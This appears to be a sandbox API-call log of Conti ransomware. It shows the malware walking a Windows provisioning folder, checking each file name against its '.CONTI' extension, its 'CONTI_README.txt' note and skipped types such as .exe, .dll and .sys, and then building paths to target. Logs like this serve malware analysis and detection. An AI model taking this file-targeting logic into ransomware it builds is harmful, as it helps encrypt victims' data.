	[0109.272] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.272] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml"
	[0109.272] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901af563, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901af563, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901af563, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="28__CO~1.PRO")) returned 1
	[0109.272] lstrcmpiW (lpString1="28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.272] lstrcmpiW (lpString1="28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.272] StrStrIW (lpFirst="28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.272] StrStrIW (lpFirst="28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.272] StrStrIW (lpFirst="28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.272] StrStrIW (lpFirst="28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.272] StrStrIW (lpFirst="28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.272] StrStrIW (lpFirst="28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.272] StrStrIW (lpFirst="28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.272] StrStrIW (lpFirst="28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.272] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.272] lstrlenW (lpString="28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml") returned 72
	[0109.272] GetProcessHeap () returned 0x1720000
	[0109.272] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x6b734a8
	[0109.272] lstrcpyW (in: lpString1=0x6b734a8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.273] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.273] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml"
	[0109.273] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ac6903, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ac6903, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ac6903, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml", cAlternateFileName="290__C~1.PRO")) returned 1
	[0109.273] lstrcmpiW (lpString1="290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.273] lstrcmpiW (lpString1="290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.273] StrStrIW (lpFirst="290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.273] StrStrIW (lpFirst="290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.273] StrStrIW (lpFirst="290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.273] StrStrIW (lpFirst="290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.273] StrStrIW (lpFirst="290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.273] StrStrIW (lpFirst="290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.273] StrStrIW (lpFirst="290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.273] StrStrIW (lpFirst="290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.273] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.273] lstrlenW (lpString="290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml") returned 70
	[0109.273] GetProcessHeap () returned 0x1720000
	[0109.273] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x6b73cb8
	[0109.273] lstrcpyW (in: lpString1=0x6b73cb8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.273] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.273] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml"
	[0109.273] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90ac6903, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90ac6903, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90ac6903, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml", cAlternateFileName="291__C~1.PRO")) returned 1
	[0109.273] lstrcmpiW (lpString1="291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.273] lstrcmpiW (lpString1="291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.273] StrStrIW (lpFirst="291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.273] StrStrIW (lpFirst="291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.273] StrStrIW (lpFirst="291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.273] StrStrIW (lpFirst="291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.273] StrStrIW (lpFirst="291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.273] StrStrIW (lpFirst="291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.273] StrStrIW (lpFirst="291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.273] StrStrIW (lpFirst="291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.274] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.274] lstrlenW (lpString="291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml") returned 70
	[0109.274] GetProcessHeap () returned 0x1720000
	[0109.274] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x142) returned 0x17f9b30
	[0109.274] lstrcpyW (in: lpString1=0x17f9b30, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.274] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.274] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml"
	[0109.274] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aecb6b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aecb6b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aecb6b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x294, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="292__C~1.PRO")) returned 1
	[0109.274] lstrcmpiW (lpString1="292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.274] lstrcmpiW (lpString1="292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.274] StrStrIW (lpFirst="292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.274] StrStrIW (lpFirst="292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.274] StrStrIW (lpFirst="292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.274] StrStrIW (lpFirst="292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.274] StrStrIW (lpFirst="292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.274] StrStrIW (lpFirst="292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.274] StrStrIW (lpFirst="292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.274] StrStrIW (lpFirst="292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.274] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.274] lstrlenW (lpString="292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml") returned 69
	[0109.274] GetProcessHeap () returned 0x1720000
	[0109.274] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6b72600
	[0109.274] lstrcpyW (in: lpString1=0x6b72600, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.274] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.274] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\292__Connections_Cellular_Tele2 (Netherlands)_i0$(__MVID)@WAP.provxml"
	[0109.274] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aecb6b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aecb6b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aecb6b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml", cAlternateFileName="293__C~1.PRO")) returned 1
	[0109.274] lstrcmpiW (lpString1="293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.274] lstrcmpiW (lpString1="293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.274] StrStrIW (lpFirst="293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.274] StrStrIW (lpFirst="293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.274] StrStrIW (lpFirst="293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.274] StrStrIW (lpFirst="293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.275] StrStrIW (lpFirst="293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.275] StrStrIW (lpFirst="293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.275] StrStrIW (lpFirst="293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.275] StrStrIW (lpFirst="293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.275] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.275] lstrlenW (lpString="293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml") returned 69
	[0109.275] GetProcessHeap () returned 0x1720000
	[0109.275] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6b70888
	[0109.275] lstrcpyW (in: lpString1=0x6b70888, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.275] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.275] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\293__Connections_Cellular_Tele2 (Netherlands)_i1$(__MVID)@WAP.provxml"
	[0109.275] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aecb6b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aecb6b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aecb6b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d5, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="294__C~1.PRO")) returned 1
	[0109.275] lstrcmpiW (lpString1="294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.275] lstrcmpiW (lpString1="294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.275] StrStrIW (lpFirst="294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.275] StrStrIW (lpFirst="294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.275] StrStrIW (lpFirst="294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.275] StrStrIW (lpFirst="294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.275] StrStrIW (lpFirst="294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.275] StrStrIW (lpFirst="294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.275] StrStrIW (lpFirst="294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.275] StrStrIW (lpFirst="294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.275] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.275] lstrlenW (lpString="294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml") returned 71
	[0109.275] GetProcessHeap () returned 0x1720000
	[0109.275] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x6561d70
	[0109.275] lstrcpyW (in: lpString1=0x6561d70, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.275] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.275] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\294__Connections_Cellular_Telfort (Netherlands)_i0$(__MVID)@WAP.provxml"
	[0109.276] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90aecb6b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90aecb6b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90aecb6b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml", cAlternateFileName="295__C~1.PRO")) returned 1
	[0109.276] lstrcmpiW (lpString1="295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.276] lstrcmpiW (lpString1="295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.276] StrStrIW (lpFirst="295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.276] StrStrIW (lpFirst="295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.276] StrStrIW (lpFirst="295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.276] StrStrIW (lpFirst="295__Connections_Cellular_Telfort (Netherlands)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
